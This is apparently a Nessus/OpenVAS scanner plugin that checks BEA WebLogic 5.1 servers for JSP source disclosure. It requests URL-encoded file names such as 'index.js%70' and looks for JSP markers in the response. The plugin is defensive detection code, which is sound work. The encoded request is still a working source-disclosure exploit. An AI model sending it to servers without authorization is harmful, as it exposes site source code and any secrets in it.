#
# This script was written by Gregory Duchemin <plugin@intranode.com> 
#
# See the Nessus Scripts License for details
#



#### REGISTER SECTION ####

if(description)
{

script_id(10715);
script_bugtraq_id(2527);
script_version("$Revision: 7190 $");
script_tag(name:"risk_factor", value:"Medium");
#script_cve_id("");

#Name used in the client window.
name="BEA WebLogic Scripts Server scripts Source Disclosure";
script_name(name);



#Description appearing in the OpenVAS client window when clicking on the name.

desc="
BEA WebLogic may be tricked into revealing the source code of JSP scripts
by using simple URL encoding of characters in the filename extension.

e.g.: default.js%70 (=default.jsp) won't be considered as a script but 
rather as a simple document.

Vulnerable systems: WebLogic version 5.1.0 SP 6

Immune systems: WebLogic version 5.1.0 SP 8

Solution: Use the official patch available at http://www.bea.com

Risk factor : Medium";
script_description(desc);


 
#Summary appearing in the tooltips, only one line.

summary="BEA WebLogic may be tricked into revealing the source code of JSP scripts.";
script_summary(summary);



#Test among the firsts scripts, no risk to harm the remote host.

script_category(ACT_GATHER_INFO);
script_copyright("INTRANODE - 2001");

#Category in wich attack must be stored.

family="Web application abuses";
script_family(family);
 


#from wich scripts this one is depending:
#Services Discovery +
#Default error page configured on Web sites not showing a usual 404
#thus to prevent any false positive answer.


script_dependencie("find_service.nes", "http_version.nasl", "webmirror.nasl");
 
script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");

exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

#### ATTACK CODE SECTION ####

function check(req, port)
{ 
request = http_get(item:req, port:port); 
response = http_keepalive_send_recv(port:port, data:request);
if( response == NULL ) exit(0);


#signature of Jsp.

signature = "<%=";

if (signature >< response) return(1);
 
return(0);
}

port = get_http_port(default:80);

if(!get_port_state(port)) exit(0);

sig = get_kb_item("www/hmap/" + port + "/description");
if ( sig && "WebLogic" >!< sig ) exit(0);

foreach dir (cgi_dirs())
{
poison = string(dir, "/index.js%70");
if (check(req:poison, port:port)) security_warning(port:port); 
}

# Try with a known jsp file
files = get_kb_list(string("www/", port, "/content/extensions/jsp"));
if(isnull(files))exit(0);
files = make_list(files);
file = ereg_replace(string:files[0], pattern:"(.*js)p$",
		    replace:"\1");
poison = string(file, "%70");
if(check(req:poison, port:port))security_warning(port);
 

